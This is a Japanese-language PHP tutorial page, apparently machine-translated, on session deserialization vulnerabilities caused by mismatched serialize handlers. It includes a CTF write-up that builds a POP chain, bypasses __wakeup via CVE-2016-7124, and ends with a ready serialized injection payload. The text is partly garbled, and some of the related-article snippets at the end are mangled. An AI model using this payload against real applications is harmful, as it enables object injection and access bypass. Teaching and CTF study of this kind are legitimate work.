PHP のセッション逆シリアル化の脆弱性に関する簡単な説明-PHPチュートリアル-php.cn

ホームページ

バックエンド開発

PHPチュートリアル

PHP のセッション逆シリアル化の脆弱性に関する簡単な説明

零下一度

Jun 17, 2017 am 10:47 AM

phpsession連載抜け穴質問

この記事では主に PHP の session デシリアライゼーションの脆弱性について紹介します。必要な方は参考にしてください。

php.ini には 3 つの設定項目があります:

りー

上記のオプションは同じです。セッションストレージとシーケンスストレージに関連する PHP オプション。

xampp コンポーネントを使用したインストールでは、上記の設定項目は次のように設定されます:

session.save_path="D:\xampp\tmp"  表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files     表明session是以文件的方式来进行存储的
session.auto_start=0        表明默认不启动session
session.serialize_handler=php    表明session的默认序列话引擎使用的是php序列话引擎

上記の設定では、デフォルトの PHP に加えて、セッションのシリアル化エンジンを設定するために session.serialize_handler が使用されます。エンジンには他にもエンジンがあり、エンジンごとに対応するセッションの保存方法が異なります。

php_binary: 格納方法は、キー名の長さに相当するASCII文字+キー名+serialize()関数でシリアル化された値

php: 格納方法は、キー名+縦棒+ Serialize() 関数シリアル化された値

php_serialize(php>5.5.4): 保存方法は、serialize() 関数によってシリアル化された値です

必要に応じて、PHP でのデフォルトの使用は PHP エンジンです。他のエンジンに変更するには、コード ini_set('session.serialize_handler', '設定する必要があるエンジン'); を追加するだけです。サンプルコードは次のとおりです。

session ディレクトリは /var/lib/php/sessions にあります

<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
session_start();
$_SESSION[&#39;name&#39;] = &#39;spoock&#39;;
var_dump($_SESSION);

php_serialize エンジンの下で、セッションファイルに保存されるデータは次のとおりです。

a:1:{s:4:"name";s:6:"spoock";}

php ファイルエンジンの下のコンテンツは:

name|s:6:"spoock";

php_binary エンジンの下のファイルのコンテンツは:

names:6:"spoock";

名前の長さは 4 なので、4 は ASCII テーブルの EOT に対応します。 php_binary の格納規則によると、最後のものは names:6:"spoock"; です。 (突然ですが、ASCII値が4の文字はWebページ上で表示できないことが分かりました。ASCIIテーブルをご自身で確認してください)

PHPセッションにおけるシリアライズハザード

セッションの実装には問題ありませんPHP の場合、害は主にプログラマーによるセッションの不適切な使用によって引き起こされます。

保存された $_SESSION データを逆シリアル化するために PHP が使用するエンジンが、シリアル化に使用されるエンジンと異なる場合、データは正しく逆シリアル化されません。慎重に構築されたデータパケットにより、プログラム検証をバイパスしたり、一部のシステムメソッドを実行したりすることが可能です。例:

$_SESSION[&#39;ryat&#39;] = &#39;|O:1:"A":1:{s:1:"a";s:2:"xx";}&#39;;

のようなphpファイル:

にアクセスすると、セッションファイルの内容は次のようになります: 

root/var/lib/php/sessions cat sess_e07gghbkcm0etit02bkjlbhac6 
a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";}
 ただし、この時点では、シミュレーションでは異なるphpエンジンが使用されます。他のページで読み込むため 内容は次のとおりです: (デフォルトでは、セッション ファイルの読み取りに php エンジンが使用されます)


a;
  }
}
// var_dump($_SESSION);
このページにアクセスして、xx

xxarray(1) {
 ["a:1:{s:4:"ryat";s:30:""]=>
 object(A)#1 (1) {
  ["a"]=>
  string(2) "xx"
 }
}
を出力するPHP エンジンでは | がキーと値の区切り文字として使用され、a:1:{s:4:"ryat";s:30:" が SESSION キーとして使用され、O:1:" A":1:{s:1:" a";s:2:"xx";} を値として使用し、逆シリアル化すると、最終的にクラス A が得られます。 
これは、使用されているさまざまなエンジンが原因です。シリアル化と逆シリアル化 PHP セッションのシリアル化の脆弱性の原因。PHP エンジンを使用してページを読み込むときに、セッションがセッション内のコンテンツを読み取り、それを逆シリアル化するため、出力が行われずに脆弱性が引き起こされます。 GCTF の脆弱性分析:
index.php には以下が含まれます: 
<?php
//error_reporting(E_ERROR & ~E_NOTICE);
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
header("content-type;text/html;charset=utf-8");
session_start();
if(isset($_GET[&#39;src&#39;])){
  $_SESSION[&#39;src&#39;] = $_GET[&#39;src&#39;];
  highlight_file(FILE);
  print_r($_SESSION[&#39;src&#39;]);
}
?>
<!DOCTYPE HTML>
<html>
 <head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <title>代码审计2</title>
 </head>
 <body>
 PHP では、データにアクセスするためにシリアル化操作がよく使用されますが、シリアル化プロセス中に適切に処理されないと、いくつかのセキュリティ リスクが発生します。 


<form action="./query.php" method="POST">    
<input type="text" name="ticket" />        
<input type="submit" />
</form>
<a href="./?src=1">查看源码</a>
</body>
</html>
query.php は: 


/************************/
/*
//query.php 部分代码
session_start();
header(&#39;Look me: edit by vim ~0~&#39;)
//......
class TOPA{
  public $token;
  public $ticket;
  public $username;
  public $password;
  function login(){
    //if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉
    $this->username ==&#39;aaaaaaaaaaaaaaaaa&#39; && $this->password == &#39;bbbbbbbbbbbbbbbbbb&#39;){
      return &#39;key is:{&#39;.$this->token.&#39;}&#39;;
    }
  }
}
class TOPB{
  public $obj;
  public $attr;
  function construct(){
    $this->attr = null;
    $this->obj = null;
  }
  function toString(){
    $this->obj = unserialize($this->attr);
    $this->obj->token = $FLAG;
    if($this->obj->token === $this->obj->ticket){
      return (string)$this->obj;
    }
  }
}
class TOPC{
  public $obj;
  public $attr;
  function wakeup(){
    $this->attr = null;
    $this->obj = null;
  }
  function destruct(){
    echo $this->attr;
  }
}
*/


 アイデアは次のとおりです: 
 この質問では、TOPC を構築し、破棄中に  が呼び出されます。 echo $this->attr;;
 TOPB オブジェクトに attr を割り当てると、echo TOPBマジック メソッド echo $this->attr;；

将attr赋值为TOPB对象，在echo TOPB的时候会自动调用tostring魔术方法
在tostring中会调用unserialize($this->attr),因为后面用到token和ticket，所以显然时TOPA对象。后面判断需要$this->obj->token === $this->obj->ticket,所以在序列化的时候进行指针引用使$a->ticket = &$a->token;，即可绕过判断。
至于为什么(string)$this->obj
 は、tostring で unserialize($this->attr) を呼び出します。トークンとチケットは後で使用されるため、明らかに TOPA オブジェクトです。後の判定には $this->obj->token === $this->obj->ticket が必要なので、$a になるようにシリアル化中にポインタ参照が行われます。 - >ticket = &$a->token; の場合、判定を回避できますなぜ (string)$this->obj がフラグを出力するのかというと、 Login はバックグラウンドで書き込まれます。 
デシリアライズされた 
string には、内部のパラメーターをクリアするための wakeup() 関数があり、CVE: CVE-2016-7124 を介してバイパスできるかどうかを尋ねました。ウェイクアップ機能は、オブジェクト内の数量を表すフィールドを実際のフィールドよりも大きな値に変更することでバイパスできます。 

最終的なコードは:

🎜$testa = new TOPA();
$testc = new TOPC();
$testb = new TOPB();
$testa->username = 0;
$testa->password = 0;
$testa->ticket = &$testa->token;
$sa = serialize($testa);
$testc->attr = $testb;
$testb->attr = $sa;
$test = serialize($testc);
echo $test;
🎜最終的なペイロードは:🎜
|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}
以上がPHP のセッション逆シリアル化の脆弱性に関する簡単な説明の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明

この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

unset（）とsession_destroy（）の違いは何ですか？May 04, 2025 am 12:19 AM

thedifferencebetferencefued fieneunset（）andsession_destroy（）isthatunset（）clearsspecificsessionvariablesはsessionactiveであり、ssession_destroy（）ターミナテンテンセッション

負荷分散のコンテキストでの粘着性セッション（セッションアフィニティ）とは何ですか？May 04, 2025 am 12:16 AM

StickysionsionsureuserRequestsoredtotheSameserverforsessiondataconsistency.1）Sessionidedificationisionidificationsisignivisionsignsignsuserstoserversusing okiesorurlmodifications.2）CondingRoutingDirectSSubSubSubsEntRequestStotheSameserver.3）LoadBalancingDistributeNewuser

PHPで利用可能なさまざまなセッション保存ハンドラーは何ですか？May 04, 2025 am 12:14 AM

phpoffersvarioussionsionsavehandlers：1）ファイル：デフォルト、simplebutmaybottleneckonhigh-trafficsites.2）memcached：high-performance、yealforspeed-criticalapplications.3）redis：similartomcached、witordededpersistence.4）データベースの提供

PHPでのセッションとは何ですか？なぜそれらが使用されているのですか？May 04, 2025 am 12:12 AM

PHPでのセッションは、サーバー側のユーザーデータを保存して、複数のリクエスト間で状態を維持するメカニズムです。具体的には、1）セッションはsession_start（）関数によって開始され、データは保存され、$ _Sessionスーパーグローバルアレイを読みます。 2）セッションデータはデフォルトでサーバーの一時ファイルに保存されますが、データベースまたはメモリストレージを介して最適化できます。 3）セッションを使用して、ユーザーのログインステータス追跡とショッピングカート管理機能を実現できます。 4）セッションの安全な送信とパフォーマンスの最適化に注意を払い、アプリケーションのセキュリティと効率を確保します。

PHPセッションのライフサイクルを説明してください。May 04, 2025 am 12:04 AM

phpssionsStartWithsession_start（）、figenateAuniqueidandcreateSaServerfile; theySistacrossRequestsandcanbemanbemanBeithsession_destroy（）

絶対的なセッションタイムアウトとアイドルセッションのタイムアウトの違いは何ですか？May 03, 2025 am 12:21 AM

絶対セッションのタイムアウトはセッションの作成時に開始され、アイドルセッションタイムアウトはユーザーの操作なしに開始されます。絶対セッションタイムアウトは、金融アプリケーションなど、セッションライフサイクルの厳格な制御が必要なシナリオに適しています。アイドルセッションタイムアウトは、ソーシャルメディアなど、ユーザーが長い間セッションをアクティブに保つことを望んでいるアプリケーションに適しています。

セッションがサーバーで機能していない場合、どのような措置を講じますか？May 03, 2025 am 12:19 AM

サーバーセッションの障害は、手順に従って解決できます。1。セッションが正しく設定されていることを確認するために、サーバーの構成を確認します。 2.クライアントCookieを確認し、ブラウザがそれをサポートしていることを確認し、正しく送信します。 3. Redisなどのセッションストレージサービスを確認して、それらが正常に動作していることを確認します。 4.アプリケーションコードを確認して、正しいセッションロジックを確認します。これらの手順を通じて、会話の問題を効果的に診断および修復し、ユーザーエクスペリエンスを改善することができます。

session_start（）関数の重要性は何ですか？May 03, 2025 am 12:18 AM

session_start（）iscrucialinphpformangingusersions.1）itInitiateSanewsessionifnoneExists、2）resumesanexistingsession、および3）SetSessionCookieforcontinuityAcrossRequests、ApplicationslicationSliviseSlikeUserauthicationAnticatent。

See all articles